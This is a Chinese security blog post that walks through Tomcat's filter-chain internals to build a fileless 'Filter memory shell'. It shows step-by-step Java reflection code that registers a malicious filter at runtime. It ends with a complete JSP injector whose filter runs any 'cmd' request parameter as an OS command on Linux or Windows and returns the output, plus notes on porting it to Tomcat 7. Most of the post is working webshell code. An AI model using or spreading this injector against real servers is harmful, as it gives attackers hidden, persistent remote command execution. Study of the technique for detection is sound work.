Filter内存马学习

admin 2023年1月30日20:51:25评论12 views字数 14077阅读46分55秒阅读模式

前言

在之前我们已经简单分析了Tomcat的整体结构以及源码的请求处理,再结合java web过滤器的知识点就实现Filter内存马时就找到了头绪。

Filter 流程分析

我们先把环境搭建起来,使用之前 Java Web 之过滤器[1]的代码。

Filter内存马学习

再回顾一下之前的Tomcat 8.5.37版本的请求处理。

Filter内存马学习

我们这次重点看一下filterChain的过程。

init 方法

直接断点到init方法,debug调试。 我们找到org.apache.catalina.core.StandardContext里面的filterStart方法。

Filter内存马学习

可以看出该部分代码大概是先遍历了filterDefs,而后传入创建的filterConfig中,再把filterConfig添加到filterConfigs。 debug信息可以方便调式出每个值的具体信息。

this 指StandardContext 这个对象entry.getValue() 指的是FilterDef 值,里面存在filterName、filterClass 两个已有的值,还有filter空值

Filter内存马学习

doFilter 方法

再次把断点到doFilter方法,debug调试。 我们找到org.apache.catalina.core.StandardWrapperValve#invoke里创建filterChain过滤器链关键代码。

Filter内存马学习

此时context里面就存放着filterConfigs、filterDefs、FilterMaps

Filter内存马学习

getParent 获取当前 Web应用StandardContext,然后从 Context 中获取到 filterMaps。 filterMap 包括主要存放了以及作用的url。

filterName 指过滤器的名字urlPattern 指过滤器匹配的url

再向下就是遍历出filterMap,并判断其中urlPatterns和当前请求url是否匹配。

Filter内存马学习

然后StandardContext寻找对应 filterName名称的 FilterConfig,并将 filterConfig 添加到 filterChain中。

Filter内存马学习

filterConfig 包括

context 指当前StandardContextfilter 指过滤器对象filterDef 指过滤器名称和过滤器类名......

然后我们跟进addFilter函数中

Filter内存马学习

首先遍历filters并判断是否存在,再将filterConfig 添加到 filters中。到这,filterChain 组装就完成了。 再次回到org.apache.catalina.core.StandardWrapperValve,调用 filterChain 的 doFilter 方法执行过滤器链。

Filter内存马学习

在 doFilter 方法中会调用 internalDoFilter方法。

Filter内存马学习

从filterConfig中取出filter对象,然后调用 filter 的 doFilter方法,从而调用自定义过滤器中的 doFilter 方法。

Filter内存马学习

以下就是和过滤器有关的调用链的过程。

doFilter:24, CharacterEncodingFilter (com.itcast.web)internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)doFilter:166, ApplicationFilterChain (org.apache.catalina.core)invoke:200, StandardWrapperValve (org.apache.catalina.core)

那我们回顾一下整个过程,画一个简单的过程图。

Filter内存马学习

1、从请求的context中获取filterMaps找到filermap2、根据filer过滤器名称在FilterConfigs寻找对应名称的 FilterConfig3、找到filterConfig并添加到FilterChain4、filterChain 中调用 internalDoFilter 遍历获取FilterConfig ,然后从 FilterConfig 中获取 Filter,最后调用Filter的 doFilter 方法

内存马实现

那现在我们根据刚才的知识点和代码来动态注册一个filter型的内存马。 首先需要获取过滤器链的context,我们先获取当前ServletContext,观察一下结果。

Filter内存马学习

发现我们想要的standardContext在applicationContext里面。 关于这几个context的区别参考 https://yzddmr6.com/posts/tomcat-context/

那通过反射获取standardContext

ServletContext servletContext = req.getServletContext();//System.out.println(servletContext);//ApplicationContextFacade是对ApplicationContext进行的封装Field context = servletContext.getClass().getDeclaredField("context");context.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext)context.get(servletContext);//System.out.println(applicationContext);Field context1 = applicationContext.getClass().getDeclaredField("context");context1.setAccessible(true);StandardContext standardContext =  (StandardContext)context1.get(applicationContext);//System.out.println(standardContext);

然后再init初始化过程里设计过滤器的关键两行代码

ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());filterConfigs.put(name, filterConfig);

经过我们的分析,可以暂时改写成

ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(standardContext, filterDef);filterConfigs.put(name, filterConfig);

然后filterDef创建,自然就是实例化FilterDef类,并设置过滤器名称和过滤器类名。记得还有设置过滤器

FilterDef filterDef = new FilterDef();filterDef.setFilterClass(filterclass);filterDef.setFilterName(filtername);filterDef.setFilter(filter);

再回顾doFilter创建过滤器链的过程,首先是从context里获取filterMap,里面存在filtername和urlPattern 两个方法,自然也需要创建filterMap对象并设置这两个方法,代码为

FilterMap filterMap = new FilterMap();filterMap.setFilterName(filtername);filterMap.addURLPattern(urlPattern);

再下一步就是从找到 FilterConfig,而后执行doFilter方法。 到目前我们可以将以上的代码合并一下看看

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {        String filtername = "test";        try {            ServletContext servletContext = req.getServletContext();            //System.out.println(servletContext);//ApplicationContextFacade是对ApplicationContext进行的封装            Field context = servletContext.getClass().getDeclaredField("context");            context.setAccessible(true);            ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);            //System.out.println(applicationContext);            Field context1 = applicationContext.getClass().getDeclaredField("context");            context1.setAccessible(true);            StandardContext standardContext = (StandardContext) context1.get(applicationContext);            //System.out.println(standardContext);
FilterDef filterDef = new FilterDef(); filterDef.setFilterClass(filterclass); filterDef.setFilterName(filtername); filterDef.setFilter(filter); FilterMap filterMap = new FilterMap(); filterMap.setFilterName(filtername); filterMap.addURLPattern("/*");
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(standardContext, filterDef);
filterConfigs.put(filtername, filterConfig);
} catch (Exception e) { e.printStackTrace(); }
}

在idea里主要是这三个地方报红了

Filter内存马学习

filterclass 指的是过滤器类名,这里还没有创建filter类,所以报错了。那我们就对应创建一个。

Filter filter = new Filter() {
@Overridepublic void init(FilterConfig filterConfig) throws ServletException {
}
@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
}
@Overridepublic void destroy() {
}};

ApplicationFilterConfig 是无法实例化该对象,我们同样用反射来调用。

Class<?> aClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");Constructor constructor = aClass.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);System.out.println(constructor);constructor.newInstance(standardContext,filterDef);

最后一个是filterConfigs也没有创建过。从上面doFilter过程分析来看,filterConfigs也在standardContext里面。我们验证一下

Filter内存马学习

对应代码也就有了

Field configs = standardContext.getClass().getDeclaredField("filterConfigs");configs.setAccessible(true);Map filterConfigs = (Map)configs.get(standardContext);

我们的代码雏形也就有了。

   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {        String filtername = "test";        try {            ServletContext servletContext = req.getServletContext();            //System.out.println(servletContext);//ApplicationContextFacade是对ApplicationContext进行的封装            Field context = servletContext.getClass().getDeclaredField("context");            context.setAccessible(true);            ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);            //System.out.println(applicationContext);            Field context1 = applicationContext.getClass().getDeclaredField("context");            context1.setAccessible(true);            StandardContext standardContext = (StandardContext) context1.get(applicationContext);            //System.out.println(standardContext);
Field configs = standardContext.getClass().getDeclaredField("filterConfigs"); configs.setAccessible(true); Map filterConfigs = (Map)configs.get(standardContext);
Filter filter = new Filter() {
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {
} }; FilterDef filterDef = new FilterDef(); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilterName(filtername); filterDef.setFilter(filter); FilterMap filterMap = new FilterMap(); filterMap.setFilterName(filtername); filterMap.addURLPattern("/*");
Class<?> aClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor constructor = aClass.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); System.out.println(constructor); Object o = constructor.newInstance(standardContext, filterDef); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) o; filterConfigs.put(filtername, filterConfig);
} catch (Exception e) { e.printStackTrace(); }
}

虽然代码层没有错误了,但依然无法正常使用。因为还需要把filterDef、filterMap 添加进standardContext

standardContext.addFilterDef(filterDef);standardContext.addFilterMap(filterMap);

再把我们想要的功能写在doFilter方法中,即可实现动态加载内存马。

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {        String filtername = "test";        try {            ServletContext servletContext = req.getServletContext();            //System.out.println(servletContext);//ApplicationContextFacade是对ApplicationContext进行的封装            Field context = servletContext.getClass().getDeclaredField("context");            context.setAccessible(true);            ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);            //System.out.println(applicationContext);            Field context1 = applicationContext.getClass().getDeclaredField("context");            context1.setAccessible(true);            StandardContext standardContext = (StandardContext) context1.get(applicationContext);            //System.out.println(standardContext);
Field configs = standardContext.getClass().getDeclaredField("filterConfigs"); configs.setAccessible(true); Map filterConfigs = (Map)configs.get(standardContext);
Filter filter = new Filter() {
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
if (servletRequest.getParameter("pass") != null) { servletRequest.setCharacterEncoding("utf-8"); servletResponse.setCharacterEncoding("utf-8"); servletResponse.setContentType("text/html;charset=UTF-8"); servletResponse.getWriter().write("执行成功"); return; }
filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {
} }; FilterDef filterDef = new FilterDef(); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilterName(filtername); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName(filtername); filterMap.addURLPattern("/*"); standardContext.addFilterMap(filterMap);
Class<?> aClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor constructor = aClass.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true);
Object o = constructor.newInstance(standardContext, filterDef); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) o; filterConfigs.put(filtername, filterConfig);
} catch (Exception e) { e.printStackTrace(); }
}

Filter内存马学习

总结一下内存马实现的流程:

1、反射获取StandardContext 

2、创建filter类 

3、创建FilterDef类,设置FilterClass、FilterName以及filter对象

4、创建FilterMap类,设置FilterName和添加URLPattern 

5、通过反射获取filterConfigs,反射调用ApplicationFilterConfig类的构造方法,传入StandardContext与filterDefs,存放到filterConfig中,最后put进去 

6、验证filterMap、filterDef是否添加进standardContext

扩展

在此基础上,实现cmd内存马、冰蝎内存马就比较简单了。只需要将java代码改造为jsp代码,而后修改doFilter方法。 如cmd内存马,同时适配于windows和linux

<%@ page import="java.io.IOException" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.util.Map" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="org.apache.catalina.Context" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="java.io.InputStream" %><%@ page import="java.util.Scanner" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%--  Created by IntelliJ IDEA.  User: cseroad  Date: 2022/10/13  Time: 下午1:12  To change this template use File | Settings | File Templates.--%><%@ page contentType="text/html;charset=UTF-8" language="java" %><html><head>    <title>Title</title></head><body><%    String filtername = "test";    try {        ServletContext servletContext = request.getServletContext();        //System.out.println(servletContext);//ApplicationContextFacade是对ApplicationContext进行的封装        Field context = servletContext.getClass().getDeclaredField("context");        context.setAccessible(true);        ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);        //System.out.println(applicationContext);        Field context1 = applicationContext.getClass().getDeclaredField("context");        context1.setAccessible(true);        StandardContext standardContext = (StandardContext) context1.get(applicationContext);        //System.out.println(standardContext);
Field configs = standardContext.getClass().getDeclaredField("filterConfigs"); configs.setAccessible(true); Map filterConfigs = (Map) configs.get(standardContext);
Filter filter = new Filter() {
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { if (servletRequest.getParameter("cmd") != null) { servletRequest.setCharacterEncoding("utf-8"); servletResponse.setCharacterEncoding("utf-8"); servletResponse.setContentType("text/html;charset=UTF-8"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", servletRequest.getParameter("cmd")} : new String[]{"cmd.exe", "/c", servletRequest.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\a"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return; }

filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {
} }; FilterDef filterDef = new FilterDef(); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilterName(filtername); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName(filtername); filterMap.addURLPattern("/cseroad/*"); standardContext.addFilterMap(filterMap);
Class<?> aClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor constructor = aClass.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); Object o = constructor.newInstance(standardContext, filterDef); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) o; filterConfigs.put(filtername, filterConfig);
out.print("注入成功!");

} catch (Exception e) { e.printStackTrace(); }

%></body></html>

Filter内存马学习

但只适配于tomcat 8版本以上,是因为tomcat 7 的包也发生了一点变化

<!-- tomcat 7 --><%@ page import = "org.apache.catalina.deploy.FilterMap" %><%@ page import = "org.apache.catalina.deploy.FilterDef" %>
<!-- tomcat 8/9 --><%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef" %>

再次修改成功在tomcat 7.0.107上运行。

Filter内存马学习

总结

这里以创建出Filter内存马为例,仔细分析了Filter过滤器的构造过程。在反复推敲Filter内存马代码时,不得不服气研究者对java代码的理解。

参考资料

https://cn.4xpl0r3r.com/%E6%8A%80%E6%9C%AF%E5%BD%92%E7%BA%B3/JavaWeb-%E5%86%85%E5%AD%98%E9%A9%AC%E6%8A%80%E6%9C%AF%E5%BD%92%E7%BA%B3/ http://wjlshare.com/archives/1529 https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%9E%8B/

References

[1] Java Web 之过滤器: https://www.jianshu.com/p/3b2b1ec70bae


原文始发于微信公众号(Wings安全团队):Filter内存马学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月30日20:51:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Filter内存马学习https://cn-sec.com/archives/1349184.html

发表评论

匿名网友 填写信息